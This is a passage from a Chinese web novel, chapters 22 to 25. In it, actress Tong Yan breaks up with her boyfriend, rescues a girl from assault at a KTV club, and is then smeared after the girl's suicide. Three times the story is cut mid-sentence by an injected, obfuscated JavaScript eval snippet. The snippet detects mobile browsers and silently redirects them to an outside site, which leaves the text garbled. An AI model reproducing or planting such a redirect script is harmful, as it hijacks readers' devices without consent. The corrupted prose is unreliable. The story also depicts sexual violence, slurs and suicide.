“我被人污蔑校园霸凌，所有社交账号全是不堪入目的话，甚至问候我九泉之下的妈妈。参加活动被黑粉当面辱骂，却只能笑着硬撑。我三天跑了八个行程，每天回到家连说话的力气都没有，还要打起精神应付孙艺涵的下作手段……”童颜眼圈蓦地红了，“这就是我的生活，是我要解决的难题，我的人生并非只有爱情一件事。如果你真的爱我，为什么不能理解理解我？” 魏子铭沉默片刻，伸手抱住了她。 童颜抗拒地推开他：“我不知道为什么会这样，每次见面都不愉快，我想，你也很疲惫。” 魏子铭渐渐慌了：“颜颜，不要说出那句话。” 童颜看着他，静了几秒，还是开口了：“我们先分开，各自冷静一下吧。” “颜颜，我们忘掉今晚的不愉快……” “忘不掉了。”童颜打断他，轻柔却坚持地剥开他的手，“我很累。你也早点回去休息吧。” 22. 投喂 两天后，江述参加总台国庆晚会彩排，在后台遇见了童颜。 月余不见，江述被她的憔悴惊到了。 以往无论工作再累，她都是神采奕奕的。 而如今，疲惫感仿佛从她体内渗出来，眼下的青黑连粉底都遮不住，看见他，眼光淡漠地盯了一秒，就挪开了视线。 江述顾不上她先前说的保持距离的屁话，直接走上前问：“你怎么了？怎么状态这么差。” 童颜摇了摇头：“没事。” 江述想了想，问：“吵架了？” “你是谁？我需要事无巨细，什么都向你交代吗？”尖锐的话脱口而出。 童颜说完，两人都愣了。 江述可是这个世界上，对她最好的人，甚至比魏子铭还要好。她怎么可以说出这样的话？因为她心情不好，就毫无教养地迁怒江述……童颜反手抽了自己一个嘴巴。 “对不起。” 他们站在演播厅的角落，灯光很暗，没什么人注意这里，江述背对舞台，与童颜面对面站着。 她低着头，一言不发。 江述眼底沉沉，声音听不出情绪：“你不必向我交代任何事。但是童颜，我希望你照顾好自己。” 童颜点头，“嗯”了一声。 下午四点，江述结束彩排，马上要去录个访谈，离开时没看见童颜。等他结束访谈打开手机，却看到“童颜晕倒送医”的消息上了热搜。 营销号搬运彩排现场图，图中童颜躺在地上，被一群人围着。画质太糊，看不清脸，只看衣服确实是童颜。 江述正要给她打电话，微博推送了一条关注人消息： @童颜YY：低血糖，没啥大事。大家好好吃饭，不要学我哦[doge] 江述盯着这条微博沉默片刻，退出了通讯录界面。 * 晚上九点，童颜输完最后一瓶营养液，林慧心陪她回家。 一路上，童颜蜷缩在座位上，头歪靠车窗，一言不发。林慧心欲言又止，不时看她一眼，就这么沉默着到大门口。 林慧心扶童颜下车，她有气无力地说了声“谢谢”，又道：“你回去吧心姐。” “我在这陪你一晚吧，给你做点吃的补补。” “不用了。我想一个人待着。” 林慧心叹了口气，压低声音说：“和同行恋爱就是这样，都忙，见面的时间少，就容易滋生误会。先分开一下也好，各自冷静冷静，再看接下来怎么处理。童童，姐知道这么说你不爱听，但还是要劝你，看开点，不过是谈了场恋爱，犯不上把自己折腾成这样。” 童颜点了点头：“我知道。” 说话间走到房门口，林慧心再三确认不需要陪着，才转身走了。 童颜按密码开门，门一打开，她惊了下。 屋里亮着灯。 童颜快步穿过客厅，走到厨房门口。 江述转过身，淡声道：“回来了。” 童颜垂下眼说：“我以为你生气了，不会理我了。” “你这臭脾气，也不是这两天才有的，放心，我有肚量。”江述瞥她一眼，说，“把菜端过去。” “哦。”被他骂了臭脾气，童颜反而松了口气。 菜都端上桌，她才反应过来：“怎么做了这么多，我吃不完呀。” 有红枣山药乌鸡汤、清蒸鲈鱼、杏鲍菇炒肉、胡萝卜炖排骨、炝炒油麦菜、酱牛肉拌黄瓜……六道菜！ 江述无语：“大小姐，我也没吃饭。” “……哦。”她以为他吃过饭，专门投喂病号来的，“就算这样，两个人六个菜也有点多。” 半个小时后，桌上的菜被一扫而空，比光盘行动示范的还光，并且其中一大半都炫进了童颜的肚子里。 她摊在椅子上，捂着肚子满足地叹气：“江述，有没有一种可能，你入错行了。真的，干脆改行当厨师吧，你做菜太好吃了！” “少给我戴高帽，洗碗去。”江述笑着瞥她一眼。 童颜不乐意地抿嘴：“我不洗，就放那吧。”说着站起身，吧嗒吧嗒走到沙发前坐下，身子一歪，就倒了下去。 江述无奈摇头，把碗筷盘子收进厨房，清洗好放进消毒柜，打开开关。 走回客厅，童颜还在沙发上躺着，眼睛直直地，盯着虚空的某处出神。 江述坐到对角的单人沙发上，静静地看着她，一时也没开口。 过了一会儿，童颜说：“江述，我这个人，是不是性格挺奇葩的。” “怎么这么说？” 童颜扯了扯嘴角：“我本来，还挺喜欢自己的。不说别的，起码待人真诚，不装吧。但最近我发现，我忍不了一点委屈，受不了一句重话，其实挺不成熟的。” 江述没开口，等着她继续。 “孙艺涵搞我，我就还回去。魏子铭说这样不好，身在娱乐圈，得学会圆滑，结仇不如交友，我一听就上火。我们经常吵架，过后想想，其实没什么大不了的事，我也不知道为什么，和他在一起时总是很尖锐，像变了一个人。会不会那个尖锐的我，才是真正的我，此刻的我，难道只是伪装？搞不清楚……我开始不喜欢自己了。” 江述听完默了片刻，起身走过去，拉着她手腕，让她坐起来。 他蹲下身看着她：“童颜，你认真听我说。”她收回四散的眼光，视线木愣愣地转到他脸上，“你很好。性格没有任何问题。别人欺负你，你可以选择隐忍，也可以选择还回去，这都没问题，如果让我选，我希望你痛快地还手，好过把气窝在自己心里。人生只有一次，怎样和世界交手，每个人都有自己的方式，你不必被他人的看法左右，做自己就好。” 童颜眼中泛起雾气：“真的吗？你觉得我，没问题吗？” “你最大的问题，就是内核不稳，别人几句话，就让你怀疑自己。童颜……我很担心你。” 她抽抽鼻子，眨掉睫毛上的水汽：“江述。” “嗯。”他轻轻地应。 “幸好，你只是我的好朋友。” 他愣了一下。 “不必看见我在亲密关系中不讨喜的一面……这样，我们就不会走散。” 江述沉默地看着他，半晌，垂下眼说了句：“这可不是什么好事。” 童颜没有细想这句话，还以为他在开玩笑，想说巴不得跟她走散。于是嘴巴一撅，气呼呼推了他一把。 江述顺势坐在地上，缓缓笑了起来。 这时，童颜的手机铃声响了。 “手机！”她颐指气使，冲着餐桌抬下巴。 江述无奈地站起身，指了指她：“你就作吧！”说完当真走过去，把手机给她拿过来。 童颜脸上带着得逞的笑，接过看了眼，立马正经了神色接通：“Austin？”那边说了句什么，她很快回，“有时间，明晚是吧？你把位置发我吧。” 挂了电话，江述问：“Austin是谁？” “潘昀。就是追光那太子爷。” 江述一愣：“他找你做什么？” “反正是好事。等确定下来，我再跟你说。” 江述也没有多想，只嘱咐她：“去哪里跟心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13539204|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐报备一声，自己当点心。” “知道了知道了，啰嗦！”她又恢复了精神气。 江述笑了笑，戴上帽子和口罩，离开了童颜家。 * 第二天，童颜一大早收到魏子铭的微信：「颜颜，今天有时间吗？我在北京，咱们见面聊聊，好吗？」 经过昨晚，童颜已经从情绪的陷阱里爬了出来。 她明白，和魏子铭之间是价值观问题，确实有必要好好聊聊，探讨出一种让两人都舒服的相处模式。 想了一下，回他：「今天有点事，再说吧。」 下午要参加一个品牌活动，结束后还要和潘昀见一面，不一定能抽出空来。 放下手机，童颜快速洗漱一番，刚收拾好，工作室的同事也到了。 一行人赶往活动场地，做妆发、拍物料、站台……等活动结束，已经是下午六点了。 林慧心有事先走了，童颜和乔乐去了潘昀指定的商务会所。 二人进入大堂，却被侍应生拦住了。 “您好女士，请问有预约吗？” “我找潘昀。”童颜说。 侍应生打了个电话确认，挂断后说：“童小姐，您可以进去了。但是这位女士不能进。” 童颜和乔乐对视一眼。 “我们会所对访客有严格规定，没有接待人是不能进的，抱歉。” “可我是颜姐助理，她和谁见面，我就和谁见面呀！”乔乐争辩道。 侍应生摇了摇头。 童颜见状说：“算了，我一个人去吧。” “什么规定这么死板啊……”乔乐忍不住吐槽，“颜姐，那我在外面等你。” 童颜点点头，在侍应生的指引下，到了顶层的一个豪华包厢。 潘昀在门边的沙发上坐着，正举着话筒唱歌。 包厢里还有三男两女，形状不拘地坐在沙发上嬉闹，看上去年纪都跟潘昀相仿。中间的茶几上摆满了酒水和果品，酒瓶子已经空了不少。 童颜原本以为，今晚只有潘昀和孟山涛的儿子，没想到是这么个场面，一时间推门的手定住了。 愣神的功夫，潘昀已经看见了她，把话筒递给身旁的男生，起身朝她走过来。 那人见状挤眉弄眼，起哄道：“哦~~~潘昀的女神来了哦！”包厢里其他人也跟着鼓掌起哄，笑着欢迎童颜。 潘昀嬉笑着转过脸，威胁状指了指那群人，然后朝童颜做了个“请”的手势。 童颜走进包厢，音乐声有点大，她抬手拢住嘴，问潘昀：“哪位是孟公子啊？” “你也忒心急了。”潘昀高声说，“他还没来呢！” 童颜点点头，被潘昀推着坐到沙发上，正对液晶屏的C位。另外几位跟她简单打过招呼后，都朝潘昀露处了暧昧的神情。 童颜有点不自在。于是问潘昀：“有没有安静地方？” “有。” 潘昀又拉着她起来，走到包厢角落，伸手按下墙上的一个红色按钮。 正对门口那面墙上的画框突然动了……童颜以为这就是一副普通的山水挂画，谁知竟是一道暗门。 她忽然有点紧张，挣开了潘昀的手。 他也没说什么，笑一笑，率先进了门。 门里是一个不长的走廊，连接着一个厅，厅里沙发和电视都有，左右两边各一间屋子。 原来，ktv包厢还连着一个两居室。 二人在客厅的沙发落座，童颜又问：“孟公子什么时候来？” 潘昀眼中闪着意味不明的光，一时没说话。 23. 救命 其实今晚根本没有什么孟公子。孟山涛的儿子在国外留学，高材生，不会参加他们这等没什么正经事的聚会。 他骗童颜说约了孟公子，只是为了让她来这罢了。孟山涛电影的女主角，最佳人选一直是童颜，是他让人放出风，说正在联络孙艺涵，甚至为求逼真，还给了孙艺涵一份假合同。 在追女孩这事上，潘昀从没这么费过心思，但他觉得值得。 雪中送炭、英雄救美，让童颜看到他的能力，才是今晚的目的。 “他刚给我发微信，说来不了了。”潘昀信口胡诌。 童颜当即皱眉：“那我不打扰了。”说着起身就要走。 潘昀一把将她按回沙发上：“着什么急啊，听我把话说完再走，行吗？” 童颜不置可否。 潘昀翘起二郎腿，手臂搭在沙发靠背上，慢悠悠道：“但是，我今天上午见了孟导，并向他极力推荐了你。” “他怎么说？” “他说……”潘昀故意卖关子，手指点了点自己的脸，“亲我一口，我就告诉你。” 童颜虎着脸道：“你到底说不说。”知道他是开玩笑，她也没有真生气，只是有几分被戏耍的不爽。 潘昀讪笑一声：“我的姑奶奶，求人求成你这模样你放眼望去，有几个敢这么跟我说话的。” 童颜不说话。 “孟导说，他会认真考虑。目前孙艺涵只是试镜，还没定。孟导还是更倾向于你的。” “真的吗？”童颜面露喜色，“那他什么时候有时间，能见我一面？” “得等等，他最近太忙了。不过你放心，我帮你敲着边鼓，只要他抽出空来，立刻安排你们见面。” 童颜感激道：“多谢你啊Austin，这可帮了我大忙。等这件事成了，一定好好感谢你。” 潘昀潇洒地摆手：“小事一桩。我这个人呢，对朋友仗义，对女朋友更大方。你要不，再考虑考虑我？” 童颜抿嘴：“不敢高攀。” 潘昀也不急，反正来日方长，他有的是资本，就不信有人能放着捷径不走，情愿自己吃苦头。 “陪我唱会儿歌总行吧！” 童颜犹豫着，刚还说好好谢人家呢，总不能得了便宜就跑路，于是道：“行。” 二人起身，正要出去，忽然，房间里传来一声尖叫。 童颜大惊。 屋里有人？ 潘昀表情变都没变，仿佛没听见，拉着她就要走。 这时，又是一声尖叫：“救命——”接着传来闷闷的响声，还有桌椅刮擦地面的动静。 “放开我！救命……” 童颜听不下去，扯开潘昀的手，跑到房间门口，拧了一下门把手，谁知门就那么开了。 房间里有一男一女。男的赤裸上身，下身穿内裤，女孩□□，环臂抱胸，正在躲避那男的。 听见开门的动静，两人都震惊转头。 男的吼了句：“滚！谁让你进来的？” 女孩则像抓住救命稻草一般，绕过桌椅，朝童颜这边跑过来。她的长发披散着，满眼惊恐，边跑边喊：“救我……” 童颜当即脱下自己的针织外套，裹在她身上，可惜只能遮住上身。匆忙间，童颜抓起床尾巾，围住了她的下半身。 无论两人是什么关系，女孩既然喊救命，必然是感受到了危险，得先带她离开这再说。 童颜拉着她要走。 潘昀却堵在门口：“童颜，别管这闲事。” 这时，身后那男的说：“我说这谁，原来是你马子！潘昀，赶紧带走她，懂不懂点事！” 童颜直视潘昀说：“她在求救，这不是闲事，我要带走她，不然就报警。” “报警？”那男的笑了一声，很不屑的语气，“我看看谁敢管我的事。不是喜欢喊救命吗？那就让你喊个够！” 说着冲过来，挥开童颜，一把採住女孩的头发，拖着就往外走。 童颜被搡到地上，手肘砰地一声撞到墙角，疼得忍不住叫了一声。 这时，女孩已经被拖出屋外，嘴里不停喊叫。 童颜顾不上疼，爬起来追出去，却被潘昀再次扯住了手。 “让你别管这事。他们俩是他妈情侣关系！” “她喊救命你没听见吗！”童颜怒气冲冲地吼。 潘昀愣了下，冷不防被童颜挣开了。 这时，女孩已经被拖到了ktv包厢，身上的衣服和床尾巾蹭掉了，浑身再次赤裸。 童颜捡起衣物，大步追了过去。 包厢里的唱歌声猛地停下，众人面面相觑，女生们目露惊奇，男士则站起身，走过去拉扯二人。 “沅儿，沅儿，别这样……” “又喝多了不是！” 被叫作“沅儿”的男人抓着女孩的头发，“啪啪”抽了两个耳光。 “老子他妈供你吃喝，供你上学，如今你他妈翅膀硬了，不听话了。睡你怎么了，你个婊子，生来就是要被老子睡的，装他妈什么三贞九烈……” 童颜跑出来，从那位沅儿手里抢女孩的头发。 众人乱作一团，死活拉扯不开，童颜一时间怒火上头，跑到茶几旁，抄起一把水果刀就冲了过去。 “放手！”水果刀抵着那人的脖子。 包厢里的女生尖叫出声，扭打和劝架的几个人都停住了动作。 “呦呵！敢他妈给我动刀子，胆子不小啊这妞儿……”沅儿松开了女孩的头发，一把抓住童颜握刀的手，“来，来，朝这捅！” 童颜刚才情急之下没多想，现在回过神，全身都在哆嗦，手臂全力往后撤，生怕真闹出人命来。 “来啊！！！捅啊！！！”那人凶神恶煞地吼了一声。 童颜吓得浑身一个激灵。 就在这时，一个酒瓶子摔到地上，碎的四分五裂，潘昀阴着脸说：“都他妈给我住手！沅儿，你让她们走。我只说一次，如果你不给我这面子，以后兄弟别做了。” 沅儿听完没说话，恶狠狠地瞪了会儿童颜，终是松开了手。 童颜给女孩裹好身上，拉着她快速走出了包厢。 * 第二天中午，江述结束一个广告拍摄，李正把手机给他。 “有个消息，你听完先别冲动。” 江述愣住，抬眼看李正。 “你那位好朋友，童颜，牵扯到一桩事里，被警察叫走了。” “什么事？”江述神色凝重。 “现在的消息是，有个女孩跳楼自杀了，死之前可能是跟童颜见过面，所以警方把童颜叫去调查。” 江述听完，快速拨通童颜电话，边打边往外走。 “欸！跟你说了别冲动。”李正一把拽住他，“这个影棚有小门，那边没粉丝堵，你从那走。” “多谢。” 江述到童颜家是下午两点，林慧心开的门。他顾不上寒暄，直接问：“童颜还好吗？” “不太好。”林慧心指了指楼上，“从派出所回来，就把自己关屋里，三个小时了。” 江述跑上楼，走到童颜房前，敲了敲门，里面不应。 “童颜。”他转动门把手，是反锁的，“想跟我说说话吗？”等了一会儿，还是没人应。 林慧心走过来，说：“让她一个人待会儿吧。” 江述点头，问：“到底发生了什么？” 林慧心告诉他，童颜昨晚去见潘昀，带走了一个女孩。 那女孩叫倪笑，从会所出来的时候，上身穿着童颜的针织衫，下身围着一件床尾巾，把乔乐都看愣了，不过看那女孩受惊不小的样子，乔乐也没敢多问。 童颜把她带回家，再三确认是否要报警，倪笑坚持摇头，说不需要，没发生什么事。童颜就让她洗了个澡，换了一身自己的衣服，之后倪笑要走，童颜开车把她送了回去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13539205|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>上午八点多，乔乐接到警方的电话，让她去警局协助调查，这才知道，倪笑在凌晨四点跳楼自杀了。 乔乐知道的，就这么多。 “那孩子吓得不轻，我让她回去休息了。”林慧心说着，接起一个电话，“怎么样？好……好，先这样。” 挂掉电话，林慧心皱着眉说：“有人看见童颜进派出所，现在消息传开了，以为她惹了什么事，都是来询问情况的。” 林慧心一边说着，手上还在不停地回复微信。 江述道：“心姐，你先去忙，童颜这我陪着。” 林慧心犹豫片刻，颇为抱歉地说：“我确实得离开一下，今天原本有个行程，现在临时取消，我得去处理。你受累，先帮我看着点她，我很快回来。” “不急。” * 下午三点，童颜走出了房间。 江述正在楼下做饭，简单炒了两个莱，炖了个汤，见童颜下来，他把菜端上桌，说：“先吃点东西。”瞧她神色呆怔，又问，“吓到了？” 童颜摇头：“只是……不真实。昨晚还跟我说话的人，今天就没了，好像在做梦，如果真是梦就好了。 江述也不知该怎么安慰她。人各有命，这话太无情，只好往她碗里夹菜，希望吃东西能让她心情好点。 “江述。” “嗯。” “你说，人为什么要自杀呢？” 这一刻，童颜眼中的光芒变得破碎。 江述知道，她想起了妈妈。 “因为她觉得，活着的痛苦超越了死亡的可怕吧。”江述轻声道，“童颜，我们不能左右任何人的感受，即便是至亲也不行。但是，人生只有短短七八十年，我们总有一天，会在天上见。” “短短七八十年……”童颜喃喃，“为什么不能再坚持一下呢？就那么心如死灰、无牵无挂了吗？” 她低头吃饭，却味同嚼蜡，扒了几口就放下筷子：“吃不下了。” 江述也不强迫，把剩下的菜用保鲜膜封好，放进冰箱里。 “等你饿了，热一下再吃。” 收拾好碗筷，江述走出厨房。 童颜坐在沙发上愣神，身边手机不停地响，她也不去管。 江述走过去，把她手机直接关机，蹲下身，扶着她肩膀说：“童颜，打起精神。可以失落，但不要陷入他人的苦难。你还有自己的功课要应付。” 半晌，童颜点了点头：“我知道。” * 江述说的功课，很快就来了。 意料之中的方式，但破坏力超强地几乎摧毁了童颜的事业。 事发当天，网络上关于童颜的猜测不少，传了两天后，有人爆料倪笑跳楼，是因为童颜的威胁。 说是倪笑勾搭了童颜的金主，被捉奸在床，童颜嫉恨之下，威胁倪笑要搞死她，找人拍了她的裸照，于是倪笑崩溃跳楼了。 童颜工作室第一时间发声并告黑。 有上次的霸凌风波在前，网民担心事件又一次反转，因此一开始相信谣言的人不多。 然而很快，一条录音被发布到网上： “讨厌你就是讨厌你，看见你这张脸，我觉得今天的晚饭都吃不下去了……你到底干嘛非往我这凑……我知道你不少事呢，奉劝你，别自掘坟墓，我这个人疯起来，一般人可受不了呢！” 短短15秒，都是童颜在说话。 一石激起千层浪，沉默的路人瞬间炸了。 “这算锤死了吧！” “有多大仇啊，把人逼死你开心了吗？” “ty牢底坐穿！！” “法制咖滚出内娱！” “气死了！！霸凌那次我还力挺你，现在打脸来的太快，看来说你霸凌也不一定是空穴来风，都是资本的游戏啊……” “房子塌了……粉了两年究竟是错付了，ty你欠我的拿什么还！！！” …… 24. 回家 童颜整个人都是懵的。 手机在旁边放着，录音放了一遍又一遍。 她自认为，已经见识过孙艺涵的下限，如今才知，这个人根本没有下限。 孙艺涵主动招惹她，知道不会听到什么好话，所以提前录下来，等着合适的时机给她一个重击。 为什么会有这样的人？童颜想不通。 “别听了。再听也撤不回来。”林慧心拿过童颜的手机，关掉录音，“已经报警了。这些造谣、恶意剪辑的人，抓到了一个都不放过！” 林慧心火冒三丈。 这几天她一直在处理各种媒体、品牌和粉丝的问询……已经很久没睡过一个整觉了。 这次的风波量级是空前的。 网友喊打喊杀，粉丝高举脱粉大旗，品牌合作取消，在合作的也减少了物料宣发，童颜的口碑几近崩盘。 虽然林慧心相信事情会真相大白，但这次的事牵扯人命，童颜作为关联方，倪笑的案子不结，她就是有一百张嘴也说不清。 “王律，倪笑的案子现在什么进展？”林慧心给律师打电话。 那边回复：“我目前得到的消息，说是当天KTV其他几人证词，跟童颜的有出入。警方虽然暂时排除了他杀嫌疑，但倪笑自杀前到底经历了什么，还需要补充侦查证据。” “要多久？” “这个就不好说了。可能三天五天，也可能一月两月，不排除会二次传唤证人。” 林慧心眉头皱得死紧：“会所有监控录像吧。倪笑出来的时候，身上穿的是童颜的衣服，我们是救助者，怎能被颠倒黑白至此？！” “监控录像只能说明童颜带走了倪笑，无法直接证明两人的关系。而且另外几人都不承认倪笑被打，只说发生过拉扯，童颜和赵仕沅——就是倪笑那男朋友——发生了口角。” “潘昀呢？”事发后童颜一直没联系到他，“他也这么说吗？” “这我就不清楚了，获取的信息有限。但从警方的角度，咱们只是协助调查，并不是嫌疑人，不用太过担心。” “那现在就只有一个字，等，是吧？”林慧心语气失望。 “目前是这样。我这边海会继续跟进，等有消息再沟通。” “好。有劳王律了。” * 突然多了大把空闲时间，童颜有些无措。 这几天她说服自己接受了现实，情绪基本能保持稳定。林慧心有很多工作要做，不能整天围着她，她就一个人在家看江述推荐的美剧。 闲的发慌时，收到了魏子铭的微信：「来我家吗？」 她没有多想，就出门了。 为免给魏子铭惹上麻烦，一路都在留心身后，还特意进了个商场地下停车库，绕了一圈出来。 敲门的时候，童颜还在想，一会儿该怎么面对魏子铭。毕竟上次闹得不愉快，还提了分开，万一他想好了，要跟她分手，她要怎么办。 还没想出个头绪，门开了。 童颜盯着门里的人，一时没反应过来。 孙艺涵，身穿粉色包身吊带裙，卷发披散，笑得楚楚动人：“你来了，童颜。” “你怎么在这？”童颜冷冷问。 孙艺涵转身走回屋里，捡起客厅地上的针织开衫：“你觉得呢？” 所以——这是狗血的捉奸现场？ 童颜深吸一口气，掐了掐掌心，告诫自己要保持理智。 她想，魏子铭不至于，这一定是孙艺涵的阴谋，千万不能上当。 “这回开录音了吗？”童颜关上门问。 孙艺涵坐在沙发上，手指捋着一侧头发，双眼无辜地看着她：“什么录音？” “跟你说话，简直让人折寿。” 童颜懒得应付她，径直往魏子铭卧室的方向走。 刚走到门口，背后悠悠来了一句：“你知道我为什么在这吗？” 童颜转身，讥笑道：“你该不会想告诉我，你们睡了吧？” “子铭昨晚，确实喝得有点多……”孙艺涵意味深长地说，“男人嘛，喝醉了都是一样的。” 童颜一脚踹开房门。 “砰”的一声巨响，魏子铭惊得弹坐起来，睡眼惺忪地看向门口。 “……颜颜？” “出来！” 童颜吼了一句，魏子铭立刻下床，走过来问：“你怎么来了……”说着看见了客厅沙发上的孙艺涵，一怔，“……你怎么还没走？” 童颜的心顿时凉了半截。 孙艺涵笑得温良，走过来说：“你喝太多，我担心你醒来头疼，想给你熬点粥再走。” 童颜不理会她，径自看向魏子铭：“解释。” 魏子铭扶着她肩膀，急道：“颜颜，你不要误会。我们什么都没有……昨晚在我妈那喝了点酒，正好艺涵也在，我喝多了，她送我回来的。” “我也是这么跟童颜说的，可她不信呢。”孙艺涵叹气。 “你闭嘴！”童颜一脸肃杀，“滚出去，这里不欢迎你。” 孙艺涵受惊似的瑟缩一下。 “颜颜，别这么说。” “哦？那我应该怎么说？”童颜目露讥诮，“我在男朋友家里，看见了别的女人，这女人在我进门时就暗示，她跟我的男朋友睡了一晚，我还应该怎么说？” 魏子铭皱眉。 孙艺涵一脸震惊，连连摆手：“我没有！我跟童颜说的是，你昨晚喝得有点多。我发誓！而且，我昨晚去你家，也是为了童颜的事，我是想帮忙的啊！” 孙艺涵越说越委屈，急得快哭了。 童颜忍不住鼓掌：“奥斯卡不给你搬个金奖是说不过去了，孙艺涵，你可真是……贱得举世无双啊！” “颜颜！”魏子铭半责怪半安抚的口气，“别这么说。我昨晚回家，就是跟我妈聊你的事，她是律师，我想看看有没有什么能帮上忙的，而且艺涵也确实一直在出主意。网上的录音都是剪辑合成的……” “那你知道剪辑的是我跟谁的对话吗？就是你眼前这位，好心出谋划策的人！”童颜怒火中烧，指着孙艺涵道，“那些话是我对她说的。这一点，她有告诉你吗？” 魏子铭点头：“我知道。” 这倒是让童颜愣了一下：“知道？” “嗯。有人暗中录了你们的对话，掐头去尾放到了网上……” “她告诉你，是别人录的？”童颜一脸错愕，“而你，相信了？” 孙艺涵委屈道：“童颜，我到底哪里惹到你了，让你对我有这么大恨意……” “说了让你闭嘴！”童颜反手抽了孙艺涵一巴掌。 魏子铭皱眉拉住她：“颜颜！” 孙艺涵捂着脸，满眼的震惊。 “不是喜欢扮演小白花吗？千万别还手哦。不然你的人设就崩了。”童颜冷冷说完，转头看魏子铭，“我对她说那些话时，没有其他人在场，录音绝不可能是别人放出去的。现在，我要跟你单独说话，让她滚！” 童颜下巴微微扬起，直视魏子铭。 孙艺涵委屈地捂着脸，半步也不退。 魏子铭看看左边，又看看右边。 迟疑的瞬间，童颜挑眉自嘲一笑，点了点头。 “好，她不滚，我滚。” 说完干脆利索地转身。 魏子铭反应过来，一把拉住她：“颜颜。” 童颜狠狠甩开他的手：“留着你的好性子，给全世界的人吧！我们结束了。” 魏子铭怔在原地。 童颜走到门口，忽又转过身来，看着屋里的一男一女，戏谑道：“这次的对话，只有我们三人在场，如果录音掐头去尾流出去了，不可能是别人哦。”说着举起手机晃了晃，“以防万一，我也备份了。” * 从魏子铭家离开后，童颜开着车，漫无目的地一路往北开。 大脑是空的，眼睛直直看着前方，好几次差点与转弯的车撞上。 等她有意识时，车已经开到了郊区，四下都是荒山和密林，油表亮起了红灯。 童颜盯着表盘的指示灯，脑子里突然闪过一个念头：她和魏子铭的关系就像这个灯，其实早就亮了，是她没注意，以致如今被迫停下。 这样也好，终于可以喘口气了。 外面下雨了，她放倒座椅，仰躺着闭上了眼。 手机一直有消息提醒，她不想看，干脆静音。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“给你种草一个很好用的爽肤水，我最近不是皮肤特别干嘛，就买了一套千润的水乳套装，真的特别好，你看我现在的皮肤状态，是不是还可以？” “千润啊，那不是童颜代言的嘛……那种人推荐的你也敢用，我敢肯定，童颜绝对没用过。” “产品无罪嘛，我是觉得还不错了……不过也是，我以前还挺喜欢童颜的，没想到她人这么坏，娱乐圈果然很复杂。” 两人又聊了两句，话题就转去了别处。 亲耳听见这些话，跟在网络上看见，感受完全不是一个级别。 那感觉就像，她一个人吊在悬崖边，有无数人向她丢石块、踩她的手，试图让她坠入深渊，但她凭着一股不服，勉强抗住了。 她不知骆驼什么时候会倒下，也没想到，最后一根稻草是这样。 在一个小小的便利店里，两个年轻的女孩子，甚至不是她的粉丝，说了那么两句不太悦耳的话。 那一瞬间，她感觉好像真的犯了什么罪，抗争的力气突然全部泄掉了，只想快速消失在不喜欢她的人面前。 她压低帽沿，拎起袋子往外走。 身后传来低低的吸气声：“那个结账的人你看见了吗，像不像童颜？” “有点……不会真是她吧？那我们说的话……” 童颜坐进车里，手微微发着抖，袋子里的酒瓶碰撞，发出叮叮当当的声音。 江述接过袋子放到后座，表情凝重地问：“怎么了？” 童颜张了张嘴，发不出声音，于是摇了摇头。 “童颜。”江述扶住她肩膀，“难受就哭出来，不要忍着。” 她脸色苍白，看着他的眼睛，过了好一会儿，声音干涩地说：“没有很难受。分手是我提的……”喉间轻动，她缓了口气，“可我现在感觉，被人分手了。江述，我是人人喊打的过街老鼠，是臭不可闻的垃圾，是会传染的瘟疫，现在没人敢靠近我，对吗？” 她说着，大颗大颗的眼泪涌出来。 “你不是！”江述将她拉到怀里抱住，“童颜，不要这样说自己。” 25. 转变 九月二十日，童颜原定行程是录制国庆晚会，头一天收到节目组的消息，暂时不用去了。 林慧心指天誓日、好话说尽，仍然改变不了这个结果。 最近这类突然取消的行程太多，童颜已经有点麻木了。 “心姐，我是不是完了？”她冷静地问。 林慧心拍拍她的肩说：“别胡思乱想，只要案情查清了，你就没事了。之前有一个耳机品牌递过合作意向，产品是不错的，但我觉得有点小众，没接，品牌最近还在联系，我去聊聊看。” 又过了一天，童颜问起时，林慧心说不合适。 追问之下，林慧心才说，那品牌知道童颜最近深陷争议，开了个低到可笑的代言费用，可能想着万一童颜被锤死，就当扔了笔小钱，但万一事情反转，就是以小博大。 原来不是雪中送炭，而是投机取巧，敲竹杠来的。 童颜静了片刻，又问：“孟导的电影也没戏了吧？” “我得到的消息是，没定孙艺涵。孟导对第一稿剧本不满意，还得磨，项目推迟启动了。” “知道了。”童颜关掉美剧，站起身说，“我去睡一会儿。” * 国庆节前一天，有狗仔爆料江述最近频繁出入童颜家，称两人疑似恋爱。 江述粉丝第一时间出来辟谣，然而很快，有人晒出童颜和江述在车内拥抱的照片，给这个爆料增添了几分可信度。 江述的团队一直没发声，绯闻更加扑朔迷离，很快就登上了微博热一。 林慧心看见了，想跟童颜通个气儿，但童颜醉酒睡着，即便叫醒了，脑子也是混沌的。一句“随便”，林慧心也无奈了。 反正辟谣她是不会辟的，好不容易倪笑风波稍微平息了点，童颜这会儿露面，肯定又会掀起一轮网暴。 让李正应付吧。 李正确实打算辟谣，毕竟童颜的名声跌穿地心，和她牵扯在一起，没有半点好处。 但怎么辟谣，实在令人头疼。 一个应对不好，就会被有心人大做文章。 